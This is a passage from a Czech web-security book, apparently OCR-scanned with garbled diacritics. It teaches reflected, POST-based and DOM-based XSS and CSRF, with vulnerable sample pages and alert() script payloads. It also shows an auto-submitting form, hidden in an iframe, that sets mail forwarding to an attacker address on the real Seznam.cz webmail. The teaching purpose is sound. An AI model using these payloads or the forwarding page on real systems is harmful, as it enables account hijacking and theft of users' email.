<form name="formular" method="get">
Zadej hledanou frazi:
<input type="text" name="dotaz">
<input type="submit" value="Hledej">
</form>
</body>
</html>

Z uvedeného priikladu by mélo byt patrné, ze se injektovany skript
skute¢né¢ na strané¢ serveru neuklada do Zadného ulozisté. Aplikace
jednoduse vezme hodnotu z pfedané proménné a tu vlozi do obsahu stranky.
Zbyva jesté¢ odpoveédét na otdzku, jakym zpusobem piinuti uto¢nik svou
obét, aby na server odeslala prave kod jeho skriptu. Je jasné, ze ji nebude
presvédcovat o tom, ze ma kod skriptu piepsat do vyhledavaciho pole
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(i kdyz i tato varianta by mohla byt nékdy funkéni). Jiz v Givodu této kapitoly
jsme si tekli, ze se tak v praxi d&je naptiklad pomoci odkazi. Podivejte se
tedy na URI v nasem pifkladu po odeslani pozadavku. Vypada takto:

htttp//www.xssvpraxi.cz/search.php?dotaz=<script>alert(/XSS/);</script>

Je tomu tak proto, ze jsme pro odeslani dat z naseho formulafe pouzili
metodu GET, pfi niz jsou jednotlivé parametry pfedavany na webovy server
pravé prostiednictvim URI. Pokud toto URI nyni zkopirujeme a zadame
ptimo do address baru ve webovém prohlize¢i, bude situace stejnd, jako
kdybychom nas$ kod vlozili do vyhledavaciho pole. Opét se nam vrati
webova stranka z pfedchoziho screenshotu a dojde ke spusténi vlozeného
skriptu. Server totiz obdrzel v podstaté tentyz pozadavek a proto na néj
reaguje stejnou odpovedi.

Jak jsem uvedl pied malou chvili, atoénik nemusi Svou obét’
presvédCovat, aby skript ptepisovala do svého browseru. Nejéastéji pouze
ptipravi odkaz, ktery ode$le obéti prostiednictvim elektronické posty nebo
jej umisti na webu - naptiklad vlozi do nékterého z diskusnich for. Kazdému,
kdo na takto ptipraveny odkaz klikne, se Gitoény kéd spusti v jeho prohliZzec¢i
po pfechodu na napadenou stranku. Skript je totiZz soucasti samotného
odkazu, protoZe je obsazeny v hodnoté parametru. Aby Gtoénik jesté vice
zamaskoval skript vlozeny do URI, mize pouzit néjaky nendpadny popis
odkazu v HTML tagu <a>. Vysledny odkaz by v nasem piipadé mohl
vypadat jako ten z vypisu 25, ktery ma za nasledek zobrazeni odkazu
s textem ,,Klikni sem “. Umistime-li ale nad odkaz kurzor mysi, uvidime
stale ve status baru prohliZeCe adresu, na kterou odkaz sméfuje. Toto muize
vést k odhaleni utoku a proto Utocnici Casto pouzivaji jesté¢ vSemozné
zpusoby kodovani nebo presmérovani, aby vlozené skripty ukryli. O téchto
a mnohych dalSich zptsobech skryvani skripti v URI si povime v jedné
z nasledujicich kapitol, kde se budeme tomuto tématu vénovat podrobnéji.

Vypis 25 - Odkaz obsahujici vloZeny kod skriptu

<a href=
"http://www.xssvpraxi.cz/search.php?dotaz=<script>alert (/XSS/);</script>"
>Klikni sem</a>

S dosud popsanymi informacemi jiz muZzete zacit hledat prvni
zranitelnd mista, naptiklad pravé na webech, které umoziuji vyhledavani
V jejich obsahu. Je to nejjednodussi zptsob, jak nabyté informace promeénit
v praktickou zkuSenost. Uvidite, ze nebude trvat dlouho a podafi se vam
nalézt prvni zranitelnou webovou aplikaci. Po ni druhou, a za chvili jich
budete mit nalezeny celé desitky. Béhem testovani ovSem nezapominejte na
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legalnost vasich ¢ind. Podobné zranitelnosti s chuti vyhledavejte, ale nikdy
jich nezneuzivejte.

Podobné jako jsem u popisu perzistentniho vkladani skriptd
zminoval, ze se vam v nékterych pfipadech nemusi jejich spusténi podarit
(naptiklad proto, ze mate vypnuty JavaScript nebo pokud pouzivate n&jaky
dopln&k, ktery JavaScript blokuje), miZete se s nezdarem setkat i pfi
testovani non-perzistentniho XSS. Napiiklad Internet Explorer od verze 8
implementuje XSS Filter, ktery vétSinu pokust o reflektované propasovani
skriptii Gspésné blokuje. Pokud mate tento nastroj povoleny, dal by o sobé
védét informaci v horni Casti okna prohlizeCe ve chvili, kdy odchyti
podeziely pozadavek. Pro ucely testovani vam proto doporucuji XSS filter
v Internet Exploreru vypnout odskrtnutim odpovidajici volby v nastaveni
zabezpeceni.

Pozadavky metody POST

Na rozdil od uvedeného piikladu s vyhledavatem, nebyva pro
odeslani udaji z pfihlasovacich a registra¢nich formulait pouzita HTTP
metoda GET. Namisto ni se v uvedenych piipadech témet vyhradné pouziva
metody POST. U té nedochézi k pfedavani parametr prostfednictvim URI,
ale v samotném téle HTTP pozadavku. XSS zranitelnost samu je sice mozné
odhalit naprosto shodnymi postupy, které jsme si piedstavili ve spojitosti
smetodou GET na ptedchozich strankach, ale podstr¢it uzivatelim
nakazeny odkaz jiz stejné jednoduchym zptisobem mozné neni. Nékdy se
muzeme setkat také s piipady, kdy na strané serveru neni nastavena direktiva
PHP register globals a webova aplikace explicitné nerozliSuje, jakou
metodou ji byl parametr pfedan. V takové situaci miZe uto¢nik piedat
proménné metodou GET, i kdyz jsou data z pavodniho formulafre odesilana
metodou POST. Pokud je skript na strané serveru pfijme, muze utoénik
uzivatelim podstr¢it nakazeny odkaz stejnym zptsobem, jako tomu bylo
v piipadé vyhledavace, ktery odesilal informace metodou GET. Pro
otestovani zamény metod miiZzeme vyuzit napiiklad nastroj Web Developer?,
nebo néktery z nepfeberného mnozstvi jinych nastroji, které tuto zaménu
metod ve formulafi nabizi mezi svymi funkcemi. Ke konverzi metod se ale
stejné dobfe hodi i jednoduchy bookmarklet z vypisu 26, ktery si ulozite
mezi oblibené polozky ve svém prohlizeci.

! http://chrispederick.com/work/web-developer/
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Vypis 26 - Bookmarklet ke konverzi metod ve formulafich z POST na GET

javascript: (function() {var x,i; x = document.forms; for (i = 0; i < x.length;
++1i) x[i].method="get"; alert ("Zaména provedena");}) ();

Asi nejCastéji se ovSem budete potykat se situaci, kdy jsou
parametry ocekavany a ¢teny pouze ze vstupu POST. V takovém piipadé
miize mit uto¢nik nalezené zranitelné misto ve webové aplikaci, ale musi se
jesté postarat o odeslani POST pozadavku ze strany napadeného uzivatele.
Protoze v tomto pfipadé neni mozné uzivatele pfimét k odeslani pozadavku
formou podstréeni jednoduchého odkazu, musime na to jit ponékud oklikou.
Uzivatele pfesmérujeme pies jinou webovou stranku, kterda se o odeslani
POST pozadavku s patfi¢cnymi prom&nnymi postara sama. Graficky jsem se
pokusil priibéh takového atoku zndzornit diagramem 8.

[ Diagram 8 - Jednotlivé faze non-persistent XSS utoku metodou POST

webserver A utoénik

1to¢nikiiv web

.o N

zranitelny web uzivatel

iy e

Podobné, jako tomu bylo u utokd odesilajicich pozadavky
metodou GET, mtizeme i tento typ utoku rozdélit do n¢kolika fazi.

1) V prvni fazi odesila uto¢nik odkaz své obéti, nebo jej vystavuje
na vetejné pristupném misté. Tento odkaz v sobé ovSem neobsahuje zadné
parametry a tim padem ani utocny skript. Odkaz také nesméiuje pfimo na
zranitelnou aplikaci umisténou na webserveru B, nybrz na webovou stranku
pfipravenou uto¢nikem na webserveru A.
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2) K této fazi dojde ve chvili, kdy podvedeny uzivatel klikne na
podstréeny odkaz. Tim piejde na webovou stranku uto¢nika.

3) Uzivateli je prohlizeCem nadtena webova stranka, ktera
obsahuje mechanismy pro automatické odeslani pfedem pfipravenych dat
zahrnujicich také uto¢ny skript.

4) Béhem ¢tvrté faze dochazi k odeslani téchto dat metodou POST
smérem ke zranitelné webové aplikaci. Mezi parametry, které jsou takto
predavany, se nachazi i Gtoény skript.

5) Posledni pata faze je jiz shodna s kone¢nou fazi popisovanou
u metody GET. Server piete obdrzené pozadavky a zakomponuje je do
obsahu HTML dokumentu, ktery nasledné vrati uzivateli. Na jeho stran¢ je
dokument zobrazen webovym prohlizedem, ktery spusti injektovany skript.

Vidite, ze ackoliv odkaz ptipraveny utoénikem vedl piivodné na
zdanlivé bezpecnou stranku, ocitl se ndhle nic netusici uzivatel ve zranitelné
aplikaci, v jejimz kontextu doslo ke spusténi utocného skriptu. Vzhledem
k tomu, Ze pfipraveny odkaz, na ktery uzivatel klik4, neobsahuje ve svém
parametru vlozeny skript, je daleko méné napadny a vypadda mnohem
dGvéryhodnéji. Z tohoto divodu se metody piesmérovani pouziva
také v piipadech, kdy bychom si jednoduSe vystacili s metodou GET
a podstr¢ili odkaz s p¥imo vlozenym skriptem.

Zkusme se nyni opét podivat na néjaky konkrétni ptipad.
Pipravime si pro néj webovou stranku s piihlaSovacim formularem, ktera
ocekava vlozeni jména a hesla. Ve chvili, kdy je formulaf odeslan, zobrazi
se zprava o chybné zadaném hesle pro dané uzivatelské jméno a my budeme
pozadéani o jeho opétovné vyplnéni. PiihlaSovaci formuldt bude tentokrat
odesilat data metodou POST. Nize ptikladam screenshot a ve vypisu 27
naleznete zdrojovy kod popsané ptihlasovaci stranky.

eni  Historie  Zélgiky  Néstroje  Népoyéda

listl

& < | 0 tocahost -lelag- PR E 2N

Prihlagovaci formular

Chybni zadané piihlatovact idaje pro login reman

Jrnéno: | roman
Heslo:
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Vypis 27 - Stranka s prihlasovacim formuldafem odesilanym metodou POST

<html>
<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>Pt¥ihlaSovaci formula¥</title>
</head>
<body>
<hl>Ptihlasovaci formuld#</hl>
<hr>
<?php
$jmeno = $_POST["jmeno"];
if (Sjmeno) {
echo "Chybné& zadané pt*ihlaSovaci Gdaje pro login <b>$jmeno</b><hr>";
}
?>
<form name="formular" method="post">
<table>
<tr>
<td>Jméno:</td>
<td>
<input type="text" name="jmeno"
value="<?php echo $jmeno; ?>">
</td>
</tr>
<tr>
<td>Heslo:</td>
<td><input type="password" name="heslo" value=""></td>
</tr>
<tr>
<td></td>
<td><input type="submit" value="P¥ihlasit"></td>
</tr>
</table>
</form>
</body>
</html>

Zranitelnost naSeho formulare si mtzete opét zkusit zadanim nam
jiz dobfe znamého vstupu do pole pro jméno:

<script>alert(/XSS/);</script>

Vystrazné okno nas po uUspé$né injektazi ujisti, ze doslo ke
spusténi skriptu, a ze je formulat na zranitelnost XSS nachylny. Nyni zbyva
vyfesit jesté druhou ¢ast Gtoku, kterou je pfedani parametri pomoci odkazu.
Za timto ucelem si pifipravime HTML stranku, kterd se postara
0 automatické presmerovani a odeslani patficnych proménnych. Vypis
zdrojového kodu této stranky najdete ve vypise 28.
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Vypis 28 - Stranka pro automatické odeslani POST poZadavku a pfesmérovani

<html>
<head></head>
<body>
<form name="formular" method="post"
action="http://www.aplikace.cz/loginform.php">
<input type="hidden" name="jmeno"
value="<script>alert (/XSS/) ;</script>">
<input type="hidden" name="heslo" value="vwxyz">
</form>
<script>formular.submit () ;</script>
</body>
</html>

V uvedeném HTML kédu si mizete vSimnout hned nékolika
novych véci. Pro vstupni pole formulafe jsem nastavil atribut type na
hodnotu hidden. Ta zabezpedi, ze se nalteny formulaf s témito poli
nezobrazi uzivateli, byt by S$lo jen o maly okamzik, nez dojde
k pfesmérovani. Hodnota vlastnosti method je nastavena na post a vlastnost
action ukazuje na stranku se zranitelnym piihlasovacim formulafem.

Dalsi novinkou je volani metody submit() formuléaie, o které jsem
se jiz v kratkosti zminil v kapitole vénované objektovému modelu
dokumentu. Toto volani se nachazi mezi tagy <script>, protoze jej miizeme
vyvolat pouze pomoci skriptu. Samotné HTML provadéni jakychkoli akci
nepodporuje. Tato metoda ma za cil automaticky odeslat formulaf, ke
kterému se vztahuje. Je to tedy stejné, jako bychom sami stiskli odesilaci
tlacitko formulare.

V souvislosti s uvedenou ptesmérovavaci strankou, ktera odesila
POST pozadavek, se zminim je$té o jedné dulezité véci. Pokud by nas skript,
ktery predavame v hodnoté proménné, obsahoval znaky uvozovek, nemohli
bychom jej timto zpusobem vlozit jako obsah atributu value. Uvozovky by
totiz zpusobily ukonéeni Fetézce a my bychom se v kontextu ocitli mimo
tento atribut. Pro uvozeni hodnoty atributu bychom museli pouzit znaka
apostrofu. Je dilezité si zapamatovat, Ze obsahuje-li fetézec znaky uvozovek
nebo apostrofii, musime jej cely uzavirat témi uvozujicimi znaky, které se
vtetézcei nevyskytuji. To znamena, ze fetézec obsahujici uvozovky
uzavieme mezi apostrofy a naopak vstup s apostrofy obklopime
uvozovkami. Variantou je v nékterych situacich také escapovani téchto
znakl pomoci zpétného lomitka, ale prozatim se budeme drzet vyse
uvedeného pravidla.

Posledni véci, ktera zbyva k dofeseni, je vytvoteni odkazu na ndmi
vytvofenou stranku se samoodesilajicim formulafem. Tuto stranku ulozime
napifklad pod nazvem sendPOST.html. Vysledny odkaz, ktery zplsobi
vyvolani XSS v cilovém pfihlasovacim formulafi pak bude mit nasledujici
podobu.
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Vypis 29 - Odkaz na stranku s pfesmérovacim formularem

<a href="http://www.hackingvpraxi.cz/sendPOST.html">Klikni sem!</a>

Praci s vySe popsanym presmérovanim vdm miZze zna¢n¢ usnadnit
vyuziti on-line projektu GET2POST'. Ten je pravé pro presmérovéani
pozadavki spojené s konverzi metod z GET na POST urcen. Projekt
GET2POST obsahuje krom& samotnych pitesmérovavacich skriptll také
generator konecnych odkazii, které stai pouze zkopirovat a predlozit
uzivatelim.

GET2POST - generator

Pocet formulafh: 1
Adresa scriptuz  http://w
Iméno formulafe: Igfrm

Input

login:

heslo

autologin

hash

referer:

Pokud bychom chtéli vyuzit pfesmérovani pouze za ucelem
zamaskovani napadného odkazu, napiiklad takového, ktery odesila utocny
skript v proménné metodou GET, nemuseli bychom na to jit nutné cestou
automaticky odesilaného formulafe. Pfesmérovat uzivatele se da totiz
i mnohem elegantnéj$imi, spolehlivéjs§imi a jednodu$simi zpusoby. Jeden
z nich nabizi napiiklad meta tag http-equiv refresh, ktery umistéme do
hlavicky nasi pfesmérovavaci stranky. S pouzitim tohoto meta tagu dochazi
k pfesmérovani na strané uzivatelova prohlizeCe. Lze zvolit ovSem také
pfesmérovani na strané¢ webového serveru, kde mizete vybirat z vice
moznosti. Namatkou uvedu mod_alias a soubor .htaccess nebo php funkci
header. Pfesmérovani budu pozdé&ji vénovat samostatnou kapitolu.

! http://www.soom.cz/index.php?name=projects/get2post/main
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DOM-based XSS

DOM-based XSS je velmi podobné vyse popisovanym typiim XSS
zranitelnosti. Rozdil je pouze v prostiedcich, které hodnoty parametrti
zakomponuji do obsahu HTML stranky. Zatim jsme si ukazali moznosti, kdy
se tyto hodnoty vlozily do obsahu HTML stranky jiz na strané serveru
a uzivateli byl vracen hotovy dokument. Ve chvili, kdy se budeme bavit
0 DOM-based XSS, dochazi ke vlozeni hodnot z parametri az na strané
webového prohlizece a to pomoci JavaScriptu.

Ve vypise 30 si miZzete prohlédnout zdrojovy kod stranky
s formulafem pro zadani jména. Data z formulafe jsou pfedavana v URI
metodou GET. JavaScript obsazeny v dokumentu nalezne pozici parametru
v URI a precte jeho hodnotu. Tu pak ptevede z URL kodovani a vlozi do
obsahu stranky. ProtoZe i zde chybi jakakoliv kontrola uzivatelského vstupu,
mizete zkusit vlozit fetézec testujici tuto stranku na zranitelnost XSS
a vytvorit odkaz, ktery povede ke spusténi skriptu.

DOM-based XSS zranitelnost se miize vyskytnout také tam, kde se
pomoci JavaScriptu ¢te a zobrazuje obsah cookies, které mohou obsahovat
napiiklad uZivatelské jméno, nebo tam, kde se pomoci JavaScriptu zjistuje
anasledné zobrazuje verze operacniho systému a pouzitétho webového
protoze od Uto¢nika vyzaduje nejdiive podvrzeni téchto hodnot na strané
napadeného uzivatele.

Vypis 30 - Stranka ndchylnd na DOM-based XSS jmeno.html

<html>
<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>DOM-based XSS</title>

</head>
<body>
<script>
var url = window.location.href;
var pos = url.indexOf ("jmeno=")+6;
var len = url.length;
if (pos == 5)
var jmeno = "zatim nezadano";
ellee
var jmeno = url.substring(pos,len);
document.write ("Tvé jméno: " + unescape (jmeno)) ;
</script>
<hr>

<form method="get">
Zadej své jméno:
<input type="text" name="jmeno">
<input type="submit" value="Odesli">
</form>
</body>
</html>
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Na vySe uvedeném piikladé si dale ukazeme pouziti zalozek
(kotev), které v HTML odkazech nasleduji za znakem miizka #. Na jejich
pouziti je pro utoénika zajimava skutecnost, Ze se spolecné s pozadavkem
nepienasi obsah t&chto kotev na stranu serveru. Pokud mame odkaz podobny
tomu z vypisu 31 a odchytneme si komunikaci browseru se serverem,
zjistime, Ze je z odkazu vSe pocinaje znakem # vypusténo, viz. vypis 32.

Vypis 31 - Odkaz na stranku se zaloZkou

<a href="http://www.hackingvpraxi.cz/jmeno.html#test">odkaz</a>

Vypis 32 - Zachyceny poZadavek odesilany na server

GET http://www.hackingvpraxi.cz:80/jmeno.html HTTP/1.1
Host: www.hackingvpraxi.cz
User-Agent: ...

Zkusime nyni vytvofit odkaz na nasi DOM-based XSS zranitelnou
stranku jmeno.html s pouzitim kotvy v odkazu. Na§ skript pfitom umistime
az za znak miizky #. Kone¢na podoba odkazu je uvedena ve vypisu 33.
Nasledujici screenshot potvrzuje, ze ve chvili, kdy uzivatel klikne na tento
odkaz, dojde ke spusténi vlozeného skriptu. Dilezité ovSem je, Ze
pozadavek, ktery odedel na server neobsahoval vlozeny skript. Utoény kéd
diky tomu nemohl byt na strané serveru zalogovan a ani omezen piipadnymi
filtry, které by jinak mohly vstup kontrolovat a oSetfit.

Vypis 33 - Odkaz na stranku se skriptem v zaloZce

<a href="http://www.hackingvpraxi.cz/jmeno.html?
jmeno=Roman#<script>alert (/XSS/);</script> ">odkaz</a>

@ DOM-based X5 - Mozilla Firefox
@ C X% P reiedgpmicinmann 07 | [ G P
£ DOM b 355 =

Tvé jméno: Roman#

Sdbleni sirknky http://wawhackingupraxicz: Tt ]

1 XSS/

Piecten wew hackingvprazi.cz # @ Tovsbed B 6
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CSRF

Od XSS nyni na chvili ponékud odbéhneme a zaméfime se na
zranitelnost typu CSRF. Ta nema sice se spousténim skriptll nic spole¢ného,
ale proto, ze je zaloZena na odesilani pozadavki mezi riznymi webovymi
aplikacemi, jde s non-perzistentnim XSS ruku v ruce. VSechny vyse uvedené
postupy zneuziti reflektovaného XSS dokonce vyskyt zranitelnosti CSRF
predpokladaji.

Oznageni CSRF (XSRF) je zkratkou vyrazu Cross Site Request
Forgery, nebo také Cross Site Reference Forgery a stoji za zminku, Ze
zranitelnosti tohoto typu trpi valna vétSina webovych aplikaci. Je to
zpusobené jednak tim, Ze povédomi o této zranitelnosti je stale na velmi
nizké Uirovni, ale také proto, Ze zabezpe€it proti jejimu zneuziti webovou
aplikaci neni tak jednoduché, jak by se mohlo na prvni pohled zdat.

Samotny CSRF tutok neni nic jiného nez prosté odeslani HTTP
pozadavku z jedné webové aplikace do jiné, a to vSe pod identitou napadené
obéti. Jedna se pfitom o takové pozadavky, které by sama obét’ védomé
nikdy neodeslala. Aby bylo jasné, jaké nasledky miize mit par takovychto
nevédomé odeslanych dat, staci si uvédomit, ze veskery na$ pohyb na webu
a vSechny nase tamni tkony jsou zalozeny pravé na HTTP pozadavcich.
Abychom vsak princip CSRF utoku dokonale pochopili, musime si nejprve
fici par slov o tom, jakym zpiisobem servery identifikuji uZzivatele, od
kterého ptichozi pozadavky dostavaji.

Nejspi§ jste jiz slySeli, ze protokol HTTP je bezstavovy. To
znamena, ze pri pfichozim HTTP pozadavku server pouze odesle patii¢nou
odpovéd’ a tim pro né&j vSe kon¢i. Samotny HTTP server si nikde neudrzuje
zadnou informaci o tom, komu odesilal jaka data a kazdy pozadavek je tak
pro né&j zcela novy a od zcela anonymniho uzivatele. Kdykoliv klikneme na
odkaz, abychom piesli z jedné stranky na jinou, je to pro HTTP server vzdy
jen strohy anonymni pozadavek, na ktery odesle kone¢nou odpovéd’. Toto
feSeni je samoziejmé to nejjednodussi a naprosto bezproblémové, ov§em pro
soucasné aplikace jiz ne zcela vyhovujici. Kazda trochu robustné&js$i webova
aplikace dnes zapamatovani ptedchozich kroka uzivatele vyzaduje, aby na
né¢ mohla pozdé¢ji reagovat. Dulezitd je také identifikace konkrétniho
uzivatele, aby mu mohla byt zprostiedkovana pouze ta data, kterd jsou mu
skute¢né uréena. Pro autorizaci uzivatelt byly proto vyvinuty rizné metody,
které¢ identifikaci uzivatele ze strany serveru umozni. Asi nejznaméjsi
a bezpochyby nejrozsifenéjsi je pouziti session (sezeni), které se vytvofi
okamzit¢ ptfi vstupu do aplikace, nebo po autentifikaci uZivatele.
Vytvofenému sezeni je ze strany serveru pfifazen jednoznacny identifikator
relace, oznacovany ¢asto jako sessionid. Ten je nasledné uloZen jednak na
strané serveru, ale zaroveni je také odeslan uzivateli, ktery pomoci tohoto
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identifikatoru prokazuje svou identitu serveru pii kazdém nové zaslaném
pozadavku. Rozdily mezi webovymi aplikacemi jsou patrné hlavné ve
zpusobu, jakym si s uzivatelem tento identifikator vzajemné piedavaji.
Neékteré aplikace jej vkladaji do hodnoty proménné a nasledné pienasi jako
soucast URI, jiné jej maji zakomponovan v URI jako nedilnou soucast cesty.
Obé¢ tyto metody vSak patii k t€ém méné Stastnym feSenim. Snadno totiz
mize dojit k jejich tiniku mimo webovou aplikaci, naptiklad v HTTP
hlavi¢ce referer, ve chvili, kdy uZzivatel opusti aplikaci pomoci odkazu.
Nejcastéji se k ulozeni a pfenosu identifikatoru relace pouZzivaji cookies,
jejichz hodnoty jsou pfedavany spolecné s kazdym pozadavkem ve specialni
HTTP hlavi¢ce a nijak neovliviiuji obsah samotného URI. Soubory cookies
a praci s nimi vam blize pfedstavim v kapitole vénované kradezim session.

Z uvedenych skute¢nosti vyplyva, ze webova aplikace fadné
zareaguje na uzivatelsky pozadavek pouze ve chvili, kdy uzivatele pomoci
identifikatoru session spravné identifikuje. V opaéném ptipadé pozadavek
odmitne. Dalo by se fici, Ze ten, kdo vlastni dany identifikator mize nakladat
s uctem ve webové aplikaci, ke které tento identifikator nalezi, podle svého
uvazeni a podle prav, které ma dany ucet k dispozici.

To je také hlavni divod, pro¢ se jeho ziskani stava Castym cilem
utokd na Internetu. Musime ovSem podotknout, Ze aplikace nemusi byt
uplné bezbranna ani ve chvili, kdy se Uto¢nik sessionid zmocni. Muze
napiiklad kontrolovat, zda jednotlivé pozadavky chodi stile ze stejné IP
adresy. Ne vzdy je ale tato kontrola zadouci. Muze se totiz stat, Ze
opravnénému uzivateli méni piFidélenou IP adresu jeho poskytovatel
napiiklad pfi pohybu s mobilnim zafizenim mezi riznymi vysilaci.
V takovém piipad¢ by podobna kontrola byla spiSe na obtiz. Nevim, zda je
toto hlavnim divodem, pro¢ nejsou podobné kontrolni mechanismy vice
roz§ifené, ale faktem ztistava, Ze se s nimi moc ¢asto nesetkate.

Kradez identifikatoru relace je také jednim z nejcastéjich cild
utokt vedenych skrz XSS. Dostal dokonce i sviij nazev cookie stealing nebo
Cesky unos sezeni. My se jim budeme blize zabyvat v kapitole vénované
konkrétnim atokiim. Ptecteni cookie a odeslani jeho obsahu neni totiz pro
JavaScript zadny problém. I kdyz i zde uz vyvojati dostali do rukou nastroj,
ktery mu v pfistupu k obsahu cookies mtize zabranit. Timto néstrojem je
ptiznak httpOnly, ktery je mozné nastavit jednotlivym cookies a moznost
pftistupu K jejich obsahu ze skriptt na klientské strané tim zablokovat.

Metody obrany budeme rozebirat ve zvlastni kapitole a nebudu je
z toho diivodu na tomto misté vice rozebirat. Faktem zlstava, ze vyvojari
své aplikace pied inosem sezeni ochranit mohou a uto¢nici tak ¢asto narazi
na aplikaci, ve které neni mozné se ciziho ¢tu zmocnit. V takovém piipadé
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pfichazi na fadu pravé CSRF ve smyslu pfislovi: Kdyz nejde hora
k Mohamedovi, musi jit Mohamed k hofe.

Pislovi pouzité na konci pfedchoziho odstavce bych mél asi
trochu vice objasnit. Utoénik mize ziskanim klice, kterym je sessionid,
pfistupovat k webové aplikaci, jako by byl opravnénym uzivatelem. OvSem
ve chvili, kdy tento kli¢ nevlastni a nemuze jej ziskat, zbyva mu stale jeste
moznost vyuzit opravnéného uzivatele k tomu, aby on sam odeslal
pozadavek, ktery se Gto¢nikovi hodi.

Nejlepsi bude pokud si vSe ukaZeme na konkrétnim piipadu.
K popisu mi poslouzi skuteéna zranitelnost, ktera se svého ¢asu nachézela ve
webmailu Seznam.cz!. Piedstavte si, e z n&akého divodu mate zajem
0 ¢teni ptichozi elektronické posty ciziho uzivatele, ktery ma sviij e-mailovy
ucet veden u zminéné spoleénosti. Pro ziskani ptichozich e-mailovych zprav
by pro vas v tu chvili bylo nejjednodussi, pokud byste se piihlasili k tomuto
cizimu Uétu a v jeho nastaveni zapnuli funkci automatického presmérovani
pfichozich zprav na vasi adresu. Neznate ovSem autentifikacni udaje
anepodafilo se vam nalézt ani zadnou zranitelnost, ktera by umoznila ziskat
sessionid onoho uZivatele, jehoZ posta vas zajima. Staci ovsem, kdyz zkusite
zminéné presmerovani nastavit ve svém vlastnim uctu a odchytnete si pfi
tom HTTP komunikaci mezi va$im browserem a serverem webmailu. Pro
zaznamenani probihajici komunikace se vyborné hodi jakykoliv z lokalnich
proxy serveru, které jsem zminil v kapitole vénované uzite¢nym nastrojim.

Pokud jste komunikaci zachycenou béhem procesu nastavovani
presmérovani blize prozkoumali, dokazali jste snadno najit pozadavek, ktery
byl za ztizeni pfesmérovani zodpovédny. V tomto piipadé §lo o bézny POST
pozadavek sméfovany na adresu http://email.seznam.cz/forwardProcess,
ktery v jednom ze svych parametri (konkrétné jde o actionValuel) predaval
e-mailovou adresu, na kterou se méla ptichozi posta pteposilat. Stejnou
informaci byste ziskali také tak, Ze byste prozkoumali zdrojovy koéd webové
stranky s formulafem zprosttfedkovavajicim toto pfesmérovani.

Nasledné stacilo pouze vytvofit odkaz, ktery by totozny poZzadavek
odeslal bez védomi uzivatele. S odesilanim pozadavkil jsme se jiz dobie
seznamili v pfedchozich kapitolach. Je potieba pouze rozlisit, zda se data
predavaji metodou GET nebo POST. V tomto piipadé¢ Slo o pfedani
parametrti metodou POST, a proto jsem k vytvofeni odkazu pouzil techniku
piesmérovani pies stranku s formulaiem smétujicim na cil naseho ttoku.

! http://www.soom.cz/index.php?name=articles/show&aid=370
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Atribut method naseho formulafe bylo potieba nastavit na hodnotu
post a action nasmérovat na adresu http://email.seznam.cz/forwardProces.
Do formulafe bylo dale potieba umistit prvky hidden, které odpovidali
pfedavanym proménnym a naplnit je pozadovanymi hodnotami. Ve své
podstaté jsme vytvofili kopii plivodniho formulare, ktery se staral
0 nastaveni pfesmérovani zprav ve webmailu. Zdrojovy kod stranky pak
vypadal stejné jako ten z vypisu 34.

Vypis 34 - Kéd stranky attackPage.html s formuldarem odesilajicim nds poZadavek

<html><head></head><body>
<form name="f" action="http://email.seznam.cz/forwardProcess" method="post">
<input type="hidden" name="sessionId" value="">

<input " name="filterId" value=
<input " name="actionType" value=
<input type="hidden" name="actionValuel" value="fake@hackingvpraxi.cz">
</form>

<script type="text/javascript">f.submit ()</script>

</body></html>

Nyni se podivame na to, co se stane, kdyz vse udélame uvedenym
zpusobem a uzivatel klikne na ptipraveny odkaz. Skript forwardProces na
adrese http://email.seznam.cz obdrzi data z pozadavku, ale soucasné s nimi
obdrzi od uZivatele také hodnotu jeho sessionid, podle které uréi, ktery
uzivatel vlastné o nastaveni pfesmérovani zada. Pokud je uzivatel v této
chvili k webmailu pfihlaSen, nebo v ném ma nastaveno trvalé ptihlaseni, pak
webova aplikace wuzivatele jednoznacné identifikuje a pozadované
pfesmérovani v jeho uctu nastavi.

Po provedené akci se ale na monitoru uzivatele objevi stranka se
zpravou, ze pozadované piesmérovani bylo Fadné nastaveno, coZ je pro
titoénika z pochopitelnych déivodd nepiijatelné. Utoénik vyzaduje, aby pro
uzivatele zlstala cela akce skryta a tak musi u€init jesté jeden krok, s jehoz
pomoci utok skryje. Ztidi si druhou webovou stranku a do ni teprve pavodni
stranku s pfipravenym formulafem vlozi prostfednictvim tagu iframe. Tato
stranka by mohla vypadat tak, jak uvadim ve vypise 35.

Vypis 35 - Kod stranky, ktera skryvd utok ve strance vloZené skrz iframe

<html>
<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>Strénka zruSena</title>
</head>
<body>
<p>Litujeme, ale webova stréanka byla zruSena.</p>
<iframe src="attackPage.html" width="0" height="0"></iframe>
</body>
</html>
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Po té uz staci pouze vytvorit a odeslat odkaz smétujici na stranku
zvypisu 35, ktera obsahuje skryty ram s automaticky odesilanym
formuladfem. Musime Si ovSem uv&domit, ze uZivatel miZze ve svém e-
mailovém Uctu provadét zmeény pouze ve chvili, kdy je k nému spravné
ptihlasen. Kdyby tedy Kliknul na odkaz a odeslal tim pozadavek na zfizeni
presmérovani prichozich zprav v dob¢, kdy pfihlasen neni, pak by byl tento
pozadavek zamitnut. MuZe se samoziejmé také stat, ze ma uZivatel
v aplikaci webmailu zapnuto trvalé ptihlaSeni. V tom piipadé by bylo
naprosto lhostejné, v jakém okamziku uZivatel na odkaz klikne. Ma-li vsak
mit Gtoénik jistotu, ze bude uzivatel k aplikaci v okamziku kliknuti
ptihlasen, udéla nejlépe, kdyz tento odkaz zasle do samotné aplikace, tedy
prostiednictvim e-mailové zpravy. Kdyz se pak uZivatel do webmailu
prihlasi a klikne na odkaz v dorucené zpravé, ocitne se na piipravené strance
s upozornénim, ze stranka byla zrusena. Formulai ve skrytém ramu ovSem
mezitim odeSle pozadavek na zfizeni presmérovani prtichozich zprav
a odpovéd’ serveru ukryje ve svém obsahu. Aniz by uzivatel mél moznost
cokoliv postiehnout, provedl akci, kterou si pral provést utoénik. Graficky
by se dal cely vySe uvedeny postup vyjadiit stejné, jako jsme si diagramem 8
znazornily pfiklad non-perzistentniho XSS ttoku, ktery odesilal skript
v parametru metodou POST. Od odkazt slouzicich pro XSS tutoky se odkazy
CSRF totiz témét nijak nelisi. Jediny rozdil je v tom, Ze v jednotlivych
